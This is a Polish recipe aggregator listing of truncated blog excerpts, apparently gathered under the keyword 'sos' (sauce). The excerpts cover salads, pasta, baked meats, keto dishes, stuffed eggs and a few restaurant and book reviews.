Jeśli szukasz innych dań z dodatkiem ryb to wypróbuj najlepszy przepis na rybę po grecku. Smacznego! (adsbygoogle = window.adsbygoogle || []).push({}); Pstrąg z piekarnika przez Paulina 2021-05-10 Skrzydełka w sosie miodowo – musztardowym przez Paulina 2021-05-05 Sałatka z wędzonym łososiem przez Paulina 2021-04-24 Carpaccio z buraka przez Paulina 2021-04-21 Sałatka z buraków przez Paulina

To Musisz Wiedzieć
Sushi sandwich 168

zrobić sushi? Na ok 10 trójkątnych kanapek potrzeba: 5 arkuszy nori ugotowany ryż do sushi miękkie awokado marynowany imbir 100 g wędzonego łososia lub pieczonego, ugotowany burak  sos sojowy do maczania wasabi Wykonanie: Nori docinamy na kwadrat po to aby wyszła kształtna kostka. Następnie mocno przeciskając przecinamy w połowie arkusz  nożem od środka tak aby potem móc poskładać

AZgotuj!
Kurczak Caprese 133

caprese jest bardzo łatwy. Opisałam Wam cały etap przygotowania tego dania krok po kroku, więc z pewnością nie będziecie mieć problemów z jego wykonaniem. Przygotowanie kurczaka w sosie caprese zajmie Wam nie więcej niż 15 minut, resztę zrobi za Was piekarnik. Lista składników nie jest długa, połowa z nich to produkty, które z pewnością posiadacie

Przepiski.pl
Łatwy domowy kebab z chlebkami własnej roboty 129

razem z papierem na tackę). Wstaw do nagrzanego piekarnika. Piecz 12 minut. Krok 7 Wyjmuj bułeczki z piekarnika, przestudź. Następnie przekrój w poprzek. Posmaruj od wewnątrz keczupem, lub ulubionym sosem. Nakładaj w przecięcie kurczaka. Dodaj ulubione warzywa. Podawaj. Smacznego! Artykuł Łatwy domowy kebab z chlebkami własnej roboty pochodzi z serwisu Niedzielny kucharz

Niedzielny kucharz
Kerabu sałatka 134

duża garść Czerwona papryka – 1 sztuka pokrojona w cienkie kawałki Kiełki – 150 gram Papryczka chili – 1 sztuka drobno pokrojona Świeża mięta – dużo i posiekana Dressing Sos rybny – 1-2 łyżki Sok z limonki – 1 sztuka Cukier – 1-2 łyżeczki Imbir – 5 cm starty drobno Mój dodatek Wędzona makrela – 180 gram Jeśli

RafalCook
Sałatka z brokułem i szynką 92

porcje wg uznania) sól i pieprz. 2 warstwa to szynka i groszek i znów porcja majonezu i ketchupu, sól i pieprz. Teraz pomidory i starta na tarce mozzarella oraz sos jogurtowy. Wierzch sałatki to małe różyczki brokuła. Autor przepisu: Maja Artykuł Sałatka z brokułem i szynką pochodzi z serwisu Wasze Przepisy

Wasze Przepisy
Polsko – włoskie spaghetti Bolognese 117

solą, pieprzem, czosnkiem, bazylią i oregano. Po ok. 10 minutach dodajemy pomidory z puszki, koncentrat pomidorowy i całość dusimy ok. 5-6 minut. Na talerzach układamy makaron, następnie odrobinę sosu pomidorowego z mięsem, całość posypujemy startym parmezanem i odrobiną świeżo posiekanego szczypiorku. Smacznego! Artykuł Polsko – włoskie spaghetti Bolognese pochodzi z serwisu Kulinarny Blog - wiesz jak gotować

Kulinarnyblog.pl - wiesz jak gotować!
PLACKI ZIEMNIACZANE Z CEBULĄ I CZOSNKIEM 105

czosnkiem są proste w przygotowaniu i bardzo smaczne. Obowiązkowo muszą być chrupiące, a ziemniaki ręcznie tarte na tarce. Najlepsze są takie ciepłe, zaraz po usmażeniu, podane ze śmietaną, sosem czosnkowym albo gulaszem. Choć przyznam Wam, że ja najlepiej placki ziemniaczane uwielbiam posypane cukrem, a Wy z czym lubicie placki ziemniaczane? Składniki na placki ziemniaczane z cebulą i czosnkiem : Składniki

Zrób to smacznie
Warstwowa Sałatka z Porem 185

tarce. Pora pokroić w półkrążki. Ananasa pokroić w kostkę. Majonez wymieszać z jogurtem naturalnym, przeciśniętym przez praskę czosnkiem, solą oraz pieprzem. Sałatkę układać warstwowo: Kukurydza Seler Szynka Jajka Sos Ananas Ser Por (adsbygoogle = window.adsbygoogle || []).push({}); Mam nadzieję, że moja warstwowa sałatka z porem wpadnie w Wasze gusta! Koniecznie podzielcie się swoimi opiniami w komentarzach! (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Warstwowa Sałatka

Przepiski.pl
Spaghetti z indykiem i pastą pindżur, czyli szybki obiad w 20 minut 116

podsmażyć na rumiano na uprzednio rozgrzanym oleju. Następnie należy dodać pindżur. Całość dokładnie wymieszać i poddusić około 8 minut. W międzyczasie należy ugotować makaron. Makaron podawać z indykiem w sosie posypany serem. W przepisie użyłam pasty pindżur, czubrycy oraz sera Kaszkawał ze sklepu balkantito.pl

Di gotuje
Zapiekanka z ryżem i pieczarkami 99

smaczny obiad. Jaka jest zapiekanka z ryżem i pieczarkami? Połączenie kremowego mleczka kokosowego oraz “ostrego” pora i czosnku, to gwarancja uzyskania delikatnego, subtelnego, ale jednocześnie aromatycznego sosu. Do tego dorzucamy ryż, który podczas pieczenia przechodzi wcześniej wspomnianymi smakami i podsmażone pieczarki… Kilka chwil w piekarniku i prosta zapiekanka z ryżem i pieczarkami jest już gotowa. Chcesz, żeby

Blendman
Udka z piekarnika 112

podawać z ziemniakami, frytkami czy ryżem oraz ulubioną surówką. W każdym wydaniu smakują rewelacyjnie. PRZEPIS NA UDKA ZAPIEKANE Składniki 5-6 udek z kurczaka 3 łyżki oliwy 2 łyżki sosu sojowego 1 łyżka musztardy  1 łyżeczka miodu  1 łyżka soku z cytryny  3 ząbki czosnku 1 i 1/2 łyżeczki słodkiej papryki łyżeczka bazylii 1/2 łyżeczki curry

Alle Dobre!
Łatwy domowy kebab z chlebkami własnej roboty 118

razem z papierem na tackę). Wstaw do nagrzanego piekarnika. Piecz 12 minut. Krok 7 Wyjmuj bułeczki z piekarnika, przestudź. Następnie przekrój w poprzek. Posmaruj od wewnątrz keczupem, lub ulubionym sosem. Nakładaj w przecięcie kurczaka. Dodaj ulubione warzywa. Podawaj. Smacznego! Artykuł Łatwy domowy kebab z chlebkami własnej roboty pochodzi z serwisu Niedzielny kucharz

Niedzielny kucharz
DROŻDŻOWE BUŁECZKI Z SEREM I ZIOŁAMI – idealne na śniadanie i na piknik! 107

otoczeniu świeżych warzyw. Idealny jako dodatek albo główny składnik zup (uwielbiam zupę z serków – swoją ulubioną uczyłam nawet robić dzieciaki w Akademii!). Jest również wspaniałym pomysłem na sosy i dipy! Inspiracje z ich dodatkiem zobaczyć możecie na stronie: https://naturalniezepyszny.hochland.pl/przepisy/     Tak jak Wam pisałam wyżej przygotowałam przepis na fantastyczne, puszyste, niezwykle mięciutkie bułeczki drożdżowe. Puszyste ciasto

Ostra na Słodko
Pizza z boczkiem, ogórkiem kiszonym, cebulką i pomidorem 113

dwie części.  3. Z obu formujemy kulę, które musimy rozwałkować na okręgi.  4. Do kubka dajemy passatę, do niej oregano i mieszamy. Smarujemy pizzę. Na sos pomidorowy rozsypujemy startą mozzarellę. 5. Teraz rozkładamy cebulę czerwoną pokrojoną w piórka, plasterki boczku, ogórki pokrojone w plasterki, pomidorki i posypujemy czosnkiem przepuszczonym przez praskę.  6. Pizzę pieczemy

kruche babeczki
Zapiekane Naleśniki z Parówkami i Pieczarkami 126

serem żółtym. Wstawiamy do piekarnika nagrzanego do 180 stopni i pieczemy przez 15-20 minut, do momentu roztopienia sera. Gotowe danie posypujemy szczypiorkiem i podajemy z ketchupem lub ulubionym sosem. (adsbygoogle = window.adsbygoogle || []).push({}); (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Zapiekane Naleśniki z Parówkami i Pieczarkami pochodzi z serwisu Przepiski.pl

Przepiski.pl
Lawasz z nadzieniem na ciepło 131

Lawasz z nadzieniem podawany na ciepło z ulubionym sosem. Prosty przepis na chrupiące roladki lawasz z nadzieniem z żółtego sera i salami. Idealna przekąska na imprezę, spotkanie przy grillu, a także na obiad czy kolację. Roladki można także nadziać mieszanką serów takich jak mozzarella, feta i inne żółte sery. Do wypełnienia także sprawdzi się serek kremowy jak np. Bieluch

Dieta moja pasja
Zapiekanka makaronowa 119

około 15 minut. Do podduszonych warzyw dodać bulion i przecier pomidorowy. Wszystko razem jeszcze chwile podusić do odparowania znacznej ilości płynu. Makaron przełożyć do naczynia żaroodpornego i polać powstałym sosem. Posypać tartym serem i zapiekać w piekarniku nagrzanym do 180 stopni przez ok 20 minut. Artykuł Zapiekanka makaronowa pochodzi z serwisu Pomysłowa kuchnia

Pomysłowa kuchnia
Surówka z selerem konserwowym 169

selerem konserwowym Dziś mam dla Was przepis na szybką surówkę do obiadu. Połączenie selera konserwowego, słodkiej marchewki i soczystego jabłka. Taka surówka z selerem konserwowym doskonale pasuje do mięsnych sosów. Prosta w przygotowaniu i naprawdę smaczna. Spróbujcie. Składniki: pół słoika selera konserwowego Moryń (słoik 290 g) 125 g marchewki (waga po obraniu) 1 łyżka majonezu 2 łyżki naturalnego jogurtu sól

Słodkie okruszki
Fasolka po bretońsku 103

Fasolka po bretońsku, przepis na danie jednogarnkowe z białej fasoli i sosu pomidorowego. Pyszna potrawa z fasoli najczęściej piękny Jaś z różnymi dodatkami, to klasyczne, polskie danie. Przepis na fasolę z pomidorami i wędliną, pieczarkami lub mięsem. Można także przygotować fasolkę z warzywami lub fasolkę z ziemniakami. Przepis na fasolkę po bretońsku jest prosty. Należy tylko przestrzegać kilku podstawowych rzeczy

Dieta moja pasja
Carbonara z cukinią 136

kroimy na małe kawałki. Wrzucamy go do blendera razem ze śmietaną, żółtkami, masłem i pieprzem. Miksujemy do połączenia składników. Boczek z cukinią przekładamy do garnka z makaronem, dodajemy sos serowo-śmietanowy. Całość mieszamy, doprawiamy do smaku solą i podgrzewamy przez około 2 minuty.  Makaron podajemy posypany natką pietruszki

Qchnia po prostu
Pieczone pierogi empanadas 139

Rozwałkuj na 2 mm ciasto, wytnij spore kółka. Nałóż farsz i zlep pierogi. Posmaruj wodą z solą lub oliwą. Piecz w 190 stopniach C ok. 30 minut. Podałam z sosem pomidorowo- paprykowym

AZgotuj!
Sałatka muszelkowa 499

tarce, kukurydzę odsączyć z zalewy. 4. Cebulę, paprykę, ogórki pokroić w kostkę. Jogurt wymieszać z majonezem doprawić solą i pieprzem do smaku. 5. Wszystkie składniki przełożyć do miski, dodać sos i wymieszać. Artykuł Sałatka muszelkowa pochodzi z serwisu Alle Dobre

Alle Dobre!
Sałatka z Tortellini i Ogórkiem 142

naprawdę błyskawicznie i można ją serwować zaraz po przygotowaniu. Sałatka z tortellini, którą przygotowałam, składa się z pierożków tortellini, świeżego ogórka, pomidorków koktajlowych, czerwonej cebuli i kukurydzy. Dodatek stanowi sos na bazie śmietany i majonezu, który można zastąpić jogurtem naturalnym. Wówczas sałatka będzie nieco lżejsza. PRZEPIS NA SAŁATKĘ Z TORTELLINI Zapraszam do wypróbowania przepisu na szybką sałatkę z tortellini

Przepiski.pl
Gulasz z serc drobiowych z pieczarkami 145

Lubicie serduszka? Ja uwielbiam i jak już pisałam kiedyś mam to szczęście, że moja rodzinka również. Gulasz z serc to tradycyjne danie kuchni polskiej. Gęsty sos, który dziś wzbogaciłam o pieczarki, doskonale pasuje do wszelkiej maści kasz, makaronów, ryżu czy ziemniaków. Na biesiadach podaje się go często z chlebem i ogórkiem kiszonym. Danie bardzo proste w przygotowaniu, jednak wymaga trochę

Kuchnia z widokiem na ogród
Placki z cukinii z mąką kokosową (keto, bezglutenowe) 130

rozgrzany  olej  nakładamy łyżką cienkie porcje ciasta i smażymy dopóki delikatnie się nie zarumienią. Placki z cukinii z siemieniem lnianym świetnie smakują w towarzystwie  sosów  lub  sałatek . Wartości odżywcze w całości w 1 porcji Wartość energetyczna 506 kcal 253 kcal Białko 25 g 13 g Tłuszcze 36 g 18 g Węglowodany netto

WegePrzepis
Dwa dania i spływ tratwą po Biebrzy 116

wojskowej 1W(wege) zrobiłem własną. Składniki: - pieczywo chrupkie - masło orzechowe (w kiszonce z folii aluminiowej) - kakao z mlekiem w proszku - pieczywo chrupkie innego typu - pasztet sojowy - puszka fasolki w sosie pomidorowym - suchary specjalne - batonik owocowy - czekolada gorzka - batonik musli - herbata granulowana malinowa - kawa rozpuszczalna - cukierki z witaminą C - gumy do żucia Taka porcja starcza na dzień, bez dojadania. Zarówno kawę

Kryzysowa Książka Kucharska
Jak jeść zdrowo i smacznie, nie mając dużej ilości czasu na przygotowanie posiłków? 103

warte uwagi są wyłącznie produkty naprawdę zdrowe i wartościowe. Wiele zależy także od własnych upodobań smakowych.  Gotowe dania w słoikach bez konserwantów  mogą być dobrym rozwiązaniem – zupy, sosy, bigos czy nawet gołąbki mogą pozwolić na stworzenie wielu wariacji obiadowych. Ciekawym rozwiązaniem są także  dania gotowe w puszkach , niejednokrotnie dające możliwość zjedzenia oryginalnego, a nawet orientalnego dania. Warto

Moja smaczna kuchnia
Sałatka z sałatą, ogórkiem i fetą 105

dachem. Wiem, zawsze coś, nie o to mi jednak chodziło. Dobrej pogody do zdjęć też nie będzie, nie będę się nawet produkować. Na bank przygotuję jakieś sałatki i sosy, nie będziemy jechali przecież na samych kiełbasach. Ale będzie to wszystko dość ascetyczne (przynajmniej z mojej strony). Na blogu mam niewiele konkretnych grillowych przepisów. Brakuje szaszłyków, kaszanek i innych ryb. Chciałam

Kardamonovy
Huzarensalade sałatka 136

posiekaj. Jabłka obierz, wytnij gniazda nasion i oczywiście pokrój w kostkę. Pastrami, ogórki i pomidorki oczywiście też możesz pokroić drobno lub zostawić w całości jak ja. Po trzecie zrób sos. Majonez wymieszaj z wodą w której były ogórki, dopraw solą i dość mocno pieprzem. Na koniec wystarczy połączyć wszystkie składniki. Huzarensalade smakuje lepiej, kiedy spędzi kilka godzin w lodówce. Sałatki

RafalCook
Placki z cukinii z siemieniem lnianym (keto, bezglutenowe) 237

mieszamy. Na rozgrzany  olej nakładamy łyżką cienkie porcje ciasta i smażymy dopóki się nie zarumienią. Placki z cukinii z siemieniem lnianym świetnie smakują w towarzystwie  sosów  lub  sałatek . Wartości odżywcze w całości w 1 porcji Wartość energetyczna 532 kcal 266 kcal Białko 23 g 12 g Tłuszcze 43 g 22 g Węglowodany netto

WegePrzepis
Sushi w wielkim mieście [Kraków] 102

detal, najmniejszy składknik każdy kolor, każde połączenie składników ma być doskonałe, przemyślane i być swego rodzaju maleńkim dziełem sztuki – nie bójmy się tego słowa. Każda posypka, ułożenie kwiatów, gęstość sosu…. Słowa nie przekażą – zobaczcie zdjęcia. MAHO SUSHI KRAKÓW to restauracja-wernisaż, gdzie obejrzysz sztukę i jej zasmakujesz. A to wszystko tuż pod nosem nas wszystkch, w samym centrum Krakowa

jakszef.pl
Carbonara 132

sekund czekamy aż makaron się lekko ostudzi, przemieszajcie go parę razy. Jak dodacie od razu do gorącego boczku i makaronu wybełtane jajka, zrobi się Wam jajecznica, a nie kremowy sos. Do makaronu i boczku wlewamy jajka, wszystko bardzo dokładnie mieszamy. Jeżeli pasta wyszła za gęsta, dodajcie resztę wody, która Wam została. Przed podaniem posypujemy resztą parmezanu. Podobne przepisy: Makaron

Kardamonovy
Podlasie na weekend… i na dłużej (cz.III) 106

ziołowe.  Tyle naczytałam się o barze Jarzębinka w Supraślu, że koniecznie musieliśmy spróbować podlaskich specjałów. Ja zamówiłam kartacze, a mąż skusił się na babkę ziemniaczaną z mięsem i sosem pieczarkowym. Porcje bardzo duże, więc lepiej nic nie jeść przed obiadem;) Jeśli macie obawy, że nie podołacie 2 kartaczom albo półkilogramowej (albo i większej) babce, możecie zamówić połowę porcji. Kartacze

Obiad gotowy
Drobiowe sakiewki z porem i papryką 112

nieskomplikowane danie. Drobiowe sakiewki z porem i papryką bardzo dobrze smakują z ziemniakami, ryżem lub kaszą i surówkami. Jeśli macie ochotę, możecie podać do nich ulubiony ciepły lub zimny sos (na przykład pomidorowy, koperkowy lub czosnkowy. Smacznego :) TUTAJ znajdziecie więcej moich przepisów na kurczaka :) Polecam również kurczaka pieczonego pod pierzynką : Kliknij tu, by subskrybować mój kanał na Youtube Drobiowe sakiewki

Lekcje w kuchni
Polędwiczki z kurczaka pieczone z ziemniakami 160

NNKT): omega-6, omega-3 w idealnych proporcjach 2:1. Jak stosować olej rzepakowy tłoczony na zimno? Olej rzepakowy tłoczony na zimno Oleje Trawińscy jest doskonały do dressingów, do sosów, sałatek, marynat, przygotowania domowego majonezu, a nawet krótkiego smażenia. Przepis na polędwiczki z kurczaka pieczone z ziemniakami Składniki: 400 g polędwiczek z kurczaka Na marynatę: 3 łyżki oleju rzepakowego tłoczonego

Słodkie okruszki
Ketchup z cukinii bez cukru! (wegański, keto, low carb) 132

Ketchup z cukinii to zdrowy zamiennik tradycyjnego ketchupu. Czym się różni od sklepowego ketchupu? Zawiera on znacznie więcej składników odżywczych, brak w nim konserwantów i co

WegePrzepis
Pieczone pulpeciki z fetą 157

dopiekamy jeszcze przez 10 minut. Wierzch można jeszcze oprószyć pokruszoną fetą i razem zgrillować. Upieczone pulpeciki z fetą podajemy od razu. Można podawać bez dodatków lub z podpieczoną pitą, sosem czosnkowym lub kaszą bulgur. W każdej formie smakuje świetnie. Smacznego! Artykuł Pieczone pulpeciki z fetą pochodzi z serwisu Analiza Smaku

Analiza Smaku
Sałatka z buraków 145

Sałatka z buraków to klasyczny dodatek obiadowy. Można ją przygotowywać przez cały rok, u mnie w rodzinie to podstawowy dodatek do mięs zaraz obok aromatycznego sosu. Buraki można ugotować, upiec, bądź przygotować na parze. Sałatka ta idealnie pasuje do ziemniaków, ale również kasz. (adsbygoogle = window.adsbygoogle || []).push({}); Sałatka z buraków – Składniki 2 średnie buraki ćwikłowe 1 średnia cebula 1 duże

To Musisz Wiedzieć
pyszne kotlety z fasoli co została z obiadu... 170

grube kotlety. Smażyć na gorącym oleju na średnim ogniu na rumiano z każdej strony, odkładać na ręcznik papierowy, doskonale smakują na ciepło i na zimno z surówką czy z sosem np. czosnkowym - zostało sporo fasolki z kiełbasą, wykorzystałam fasolkę do przygotowania smażonych kotletów, idealny sposób na wykorzystanie fasolki.........SMACZNEGO

W Mojej Kuchni Lubię
Miruna w sosie szpinakowym, z kruszonką 158

wkładamy do piekarnika nagrzanego do 180ºC (góra-dół) na ok 25 minut (do zrumienienia wierzchu). Makaron gotujemy wg wskazówek na opakowaniu. Po upieczeniu ryby, łączymy go delikatnie z sosem, tak by nie uszkodzić kawałków mięsa. Posypujemy natką pietruszki

Kuchnia w czekoladzie
Gulasz bezmięsny (bezglutenowy) 111

dodajemy pastę paprykową, passatę pomidorową, zalewamy wrzątkiem. Dokładnie mieszamy, dodajemy przyprawy i dusimy pod przykryciem na wolnym ogniu przez kwadrans. Paprykę kroimy na mniejsze kawałki po kwadransie dodajemy do sosu. Całość dusimy na wolnym ogniu przez 10 minut. Do smaku doprawiamy solą i pieprzem.   Podajemy z kaszą i ogórkiem kiszonym.     /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy

R'n'G Kitchen
Polędwiczki zapiekane z serem i warzywami 116

stole i mogą smakować za każdym razem troszkę inaczej. Dobrze smakują z ziemniakami i surówkami. Smacznego :) TUTAJ znajdziecie więcej moich przepisów na polędwicę :) Polecam również pyszne polędwiczki w sosie własnym: Kliknij tu, by subskrybować mój kanał na Youtube Polędwiczki zapiekane z serem i warzywami, składniki: polędwica wieprzowa (ok. 500 g), łyżka majonezu, 1/2 łyżeczki musztardy (lub do smaku), kilka plasterków

Lekcje w kuchni
Keto kotlety z tuńczyka (Paleo, LowCarb) 138

minutes Servings 6 kotletów Calories 99 kcal Author Modern Cavegirl Ingredients 200 g kalafiora z mrożonki (rozmrożonego do temperatury pokojowej) 1 puszka tuńczyka w sosie własnym (ok. 150 g mięsa po odsączeniu z zalewy) 2 jajka 0,5 cebuli czerwonej 1 łyżka musztardy 0,5 łyżeczki soli

Modern Cave Girl
Sałatka z komosy ryżowej z szynką parmeńską 119

pokrój w kostkę. 4. Przygotowane składniki wymieszaj z przestudzoną komosą. 5. Jogurt dopraw solą i cząbrem, dodaj posiekany czosnek i natkę pietruszki, po czym dokładnie wymieszaj. 6. Przygotowanym sosem zalej sałatkę i wymieszaj. 7. Na wierzchu ułóż plastry szynki parmeńskiej

Z notatnika dietetyka
Makaron z mozzarelli z pomidorkamki i bazylią (na ostro) 130

niskowęglowodanowe dania!) W mojej wersji makaron z tego przepisu podałam z pomidorkami, odrobiną oliwy, dymką, czosnkiem i bazylią. Jakoś trudno mi wyobrazić sobie z ciężkim mięsnym, czy śmietanowym sosem, dlatego ja wolałam coś nieco lżejszego. Same kluski są świetne! Sprężyste, intensywne w smaku, bardzo smaczne. Ja podałam je od razu po upieczeniu - i polecam właśnie taką technikę. A zatem gotowi

Kulinarne Inspiracje
Trzy Kolory, pizza 129

Coś pysznego! Zamiast sosu pomidorowego użyłam pesto z pokrzywy domowej roboty. Każde inne pesto np.z bazylii, natki pietruszki czy czosnku niedźwiedziego będzie również dobre. Najlepsze robione w domu bo możemy regulować ilość oliwy, której w tym przypadku nie powinno być za dużo. Sezon na pokrzywę uważam za otwarty. Jak przygotować pokrzywę aby zrobić z niej pesto?  Bardzo prosto. Używamy

Leśny Zakątek
Rośliny przede wszystkim 117

stół. Jakby tego było mało, przedostatni rozdział też pełen jest inspiracji. To katalog przepisów „Zrób to sam”, czyli własnoręcznego wykonania w kuchni tego, co zwykle kupujemy, na przykład ciekawych sosów. Przyznam się do czegoś. Kiedy recenzuję podsyłane mi książki z przepisami, jakby automatycznie szukam czegoś dla siebie. Przerzucam kartki i zatrzymuję wzrok tam, gdzie jest coś akurat dla mnie

Fleksitarianizm.pl
Tarta Quiche Lorraine z porem i boczkiem 142

Wytrawna tarta znana pod nazwą Quiche Lorraine lub określana jako placek lotaryński. Tarta z kruchego ciasta wypełniona karmelizowanym, chrupiącym boczkiem krojonym w słupki oraz duszonymi krążkami pora. Kremowy sos na bazie słodkiej śmietanki 36 % z ciągnącym się serem. Całe danie to kwintesencja dobrego gustu i wykwintnego smaku, jak na francuskie przepisy kulinarne przystało. (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Tarta na kruchym

ProstePesto.pl
Seromakowiec z gotową masą makową 138

gotową masą makową przez Paulina 2021-04-10 Sałatka z marynowanymi pieczarkami przez Paulina 2021-04-06 Pałki kurczaka pieczone na ryżu przez Paulina 2021-03-27 Jajka w sosie tatarskim przez Paulina 2021-03-26 Tradycyjny Żurek Wielkanocny na zakwasie przez Paulina 2021-03-24 Ciasto czekoladowe z musem malinowo – jeżynowym przez Paulina 2021-03-16 Artykuł Seromakowiec

To Musisz Wiedzieć
MAKARON Z BORÓWKAMI I BIAŁYM SEREM 96

Makaron ugotować w osolonej wodzie, zlać z wody na sitku. 500 g borówek amerykańskich zmiksować przy pomocy blendera z dodatkiem mleka. Ugotowany makaron wyłożyć na talerze, na to polać sos borówkowy, posypać pokruszony twaróg i na wierzch posypać kilka borówek amerykańskich

Zrób to smacznie
Mistrzowie makaronu. Domowy makaron z jajek, semoliny i oliwy 117

gnochi i risotto , Marco Vetri, David Joachim Tajniki wyrabiania ponad trzydziestu różnych typów ciasta i całej gamy makaronów smakowych. Przepisy na wspaniałe makarony nadziewane i pieczone oraz idealnie skomponowane sosy. Inspirujące eksperymenty z różnymi rodzajami mąk. Zostań mistrzem makaronu w swojej kuchni! Dziękuję wydawnictwu Znak za udostępnienie egzemplarza książki do recenzji

Tajemnice Smaku
Dieta niskobiałkowa - co warto o niej wiedzieć? 133

jaglane itd. • rośliny strączkowe np. fasola, groch, soja, soczewica, • orzechy, nasiona, pestki. Ograniczeniu podlegają także pozornie bezpieczne składniki, takie jak grzyby, słodycze na bazie nabiału i żelatyny czy przyprawy/gotowe sosy na bazie żelatyny i śmietany. W zamian za białko zwiększa się udział innych makroskładników, takich jak węglowodany i tłuszcze. Zazwyczaj białko zastępowane jest większą ilością węglowodanów, stąd mile widziane

Kuchnia MagdaLeny
Dieta niskobiałkowa - co warto o niej wiedzieć? 133

jaglane itd. • rośliny strączkowe np. fasola, groch, soja, soczewica, • orzechy, nasiona, pestki. Ograniczeniu podlegają także pozornie bezpieczne składniki, takie jak grzyby, słodycze na bazie nabiału i żelatyny czy przyprawy/gotowe sosy na bazie żelatyny i śmietany. W zamian za białko zwiększa się udział innych makroskładników, takich jak węglowodany i tłuszcze. Zazwyczaj białko zastępowane jest większą ilością węglowodanów, stąd mile widziane

Kuchnia MagdaLeny
Poświąteczny pasztet z pieczonych i gotowanych mięs 731

ewentualnych kości i chrząstek, skórę zostawiam. Kroję na mniejsze kawałki i mielę w maszynce do mielenia mięsa. Przekładam do miski, wbijam surowe jajko. I teraz jeśli mam pozostały sos, lub wywar z pieczenia dolewam go do mięsa, jeśli nie mam dodaję śmietanę. Dodaję posiekaną natkę. Masę dokładnie mieszam, najpierw łyżką, sprawdzam smak, jeśli jest potrzeba doprawiam wyżej wymienionymi przyprawami

Kuchnia z widokiem na ogród
Sałatka z marynowanymi pieczarkami 255

smakuje najlepiej po kilku godzinach w lodówce. Smacznego! Sałatka z marynowanymi pieczarkami przez Paulina 2021-04-06 Pałki kurczaka pieczone na ryżu przez Paulina 2021-03-27 Jajka w sosie tatarskim przez Paulina 2021-03-26 Tradycyjny Żurek Wielkanocny na zakwasie przez Paulina 2021-03-24 Ciasto czekoladowe z musem malinowo – jeżynowym przez Paulina 2021-03-16 Tiramisu przez

To Musisz Wiedzieć
Makaron w sosie serowym z groszkiem i pomidorkami 214

ugotowany makaron. Podgrzewaj chwilę, wlej wodę z gotowania makaronu i porozkładaj plasterki serka topionego. Dopraw solą i pieprzem, wymieszaj wszystko. Podgrzewaj aż ser się rozpuści i utworzy gęsty sos

Delicious Place
Klasyczna pieczeń rzymska z jajkiem 166

zaletę, że przede wszystkim nie kruszy się po upieczeniu. Potrawę podaję na ciepło zaraz po upieczeniu, jako danie obiadowe lub gorącą przystawkę na imprezę. Całość polewam ulubionym sosem. Pieczeń rzymska sprawdzi się także na zimno jako dodatek do kanapek. Wypróbuj mój najlepszy przepis na klasyczną pieczeń rzymską z jajkiem . Artykuł Klasyczna pieczeń rzymska z jajkiem pochodzi z serwisu Ania gotuje

Ania gotuje
Keto krakersy lniane – 3 składniki! (wegańskie, low carb) 118

minut czy są już wystarczająco chrupkie). Upieczone krakersy po ostygnięciu przechowujemy w szczelnym pojemniku , aby nie zaciągnęły wilgoci z otoczenia i zachowały chrupkość. Keto krakersy rewelacyjnie smakują ze wszelkimi sosami i dipami . Żródło inspiracji Wartości odżywcze w całości w 30 g Wartość energetyczna 718 kcal 120 kcal Białko 28 g 5 g Tłuszcze 59 g 10 g Węglowodany netto

WegePrzepis
Jak zrobić domowy chrzan 200

być spożyty w ciągu dwóch dni) starte buraki czerwone - będzie z tej mieszanki pyszna ćwikła żurawina jabłko starte na drobnej tarce Dlaczego warto jeść chrzan Chrzan najczęściej dodaję do sosów, żurku, albo podaję jako dodatek do wędlin czy mięs. Warto jednak pamiętać, że chrzan ma szereg właściwości leczniczych. Chrzan działa m.in.  antynowotworowo oraz zwalcza bakterie, które mogą powodować kaszel

Cztery Fajery
Sałatka z jajkami, orzechami, szynką i ananasem 128

będzie mieć wszystko ogarnięte. Jutro rano machnę jeszcze jajka faszerowane, a wieczorem je opublikuję. Chyba, że pójdzie coś nie tak, tak jak wczoraj. Otóż wczoraj ugotowałam pyszny schab w sosie chrzanowym, którego nie opublikuję, bo wyszedł tak nieapetyczny wizualnie, że nie byłam w stanie go dobrze sfotografować. Bo nie ten kąt, nie to światło, nie ten talerz. Pierwszy raz miałam

Kardamonovy
AROMATYCZNY KURCZAK PO PROWANSALSKU PIECZONY Z WARZYWAMI 138

posyp ziołami prowansalskimi. Całość dokładnie wymieszaj. Ułóż warzywa równomiernie wokół kurczaka. 6. Piecz kurczaka przez około 2 godziny . Pół godziny przed końcem pieczenia otwórz piekarnik i polej kurczaka sosem, który utworzył się podczas jego pieczenia. Dzięki temu skórka będzie chrupiąca. Gotowe! Smacznego! Wpis powstał we współpracy z "Kurczakiem Zagrodowym z Podlasia

Słodko-Słony Świat Ilony
Jajka faszerowane z tuńczykiem z puszki i ogórkiem kiszonym 131

temu pękaniu skorupek. Ja wyciągam jajka z lodówki 2 godziny przed gotowaniem. Poniżej składniki na idealne nadzienie do jajek faszerowanych: 8 jajek (najlepiej średnie lub większe) puszka tuńczyka w sosie własnym (około 110g netto ryby) 2 nieduże ogórki kiszone lub 1 średni 1 łyżeczka musztardy łyżka posiekanego koperku 2 łyżki majonezu Kaloryczność 1 połówki jajka faszerowanego: około 120 kcal. Sposób

Ania gotuje
Pizzerinki z białą kiełbasą 149

pomysł jest tak prosty, że sama trochę się śmieje z siebie, czemu tak późno na to wpadłam. Zwykłe ciasto drożdżowe, odrobina sosu, duża ilość sera i biała kiełbasa, która odgrywa tutaj zasadniczą rolę. Pomyślałam, że takie ślimaki świetnie sprawdzą się jako dodatek do żurku, więc swoje przemyślenia zamieniłam w czyn i tym sposobem mogę śmiało powiedzieć, że warto było! Puchate

Kuchnia w czekoladzie
Jajka faszerowane tuńczykiem 135

Składniki: Jajka 5 sztuk Tuńczyk w oleju lub sosie własnym puszka Szczypiorek 1/2 pęczka Musztarda pełna łyżeczka Majonez 2 łyżki Opcjonalnie sól lub pieprz w razie koniczności Przygotowanie: Jajka ugotować na twardo, obrać, przeciąć na pół i wyciągnąć żółtka. Żółtka rozgnieść widelcem, dodać tuńczyka z puszki olewając nadmiar oleju. Dodać posiekany szczypiorek. Na koniec dodać musztardę i majonez. Wszystko razem

Kulinarne przygody
3 bit bez budyniu 327

coś do dekoracji ciasta      Moi drodzy, nim przejdę do przepisu chciałam wspomnieć o akcji w której może wziąć udział każdy. A cel jest bardzo szczytny SOS w Wioskach Dziecięcych.  Każdy z nas robi świąteczne wypieki, słodzi kawę czy herbatę. Wystarczy kupić opakowanie cukru DROBNY DIAMANT zrobić zdjęcie swojego cukru w dowolnej aranżacji. To nie muszą być

Dieta moja pasja
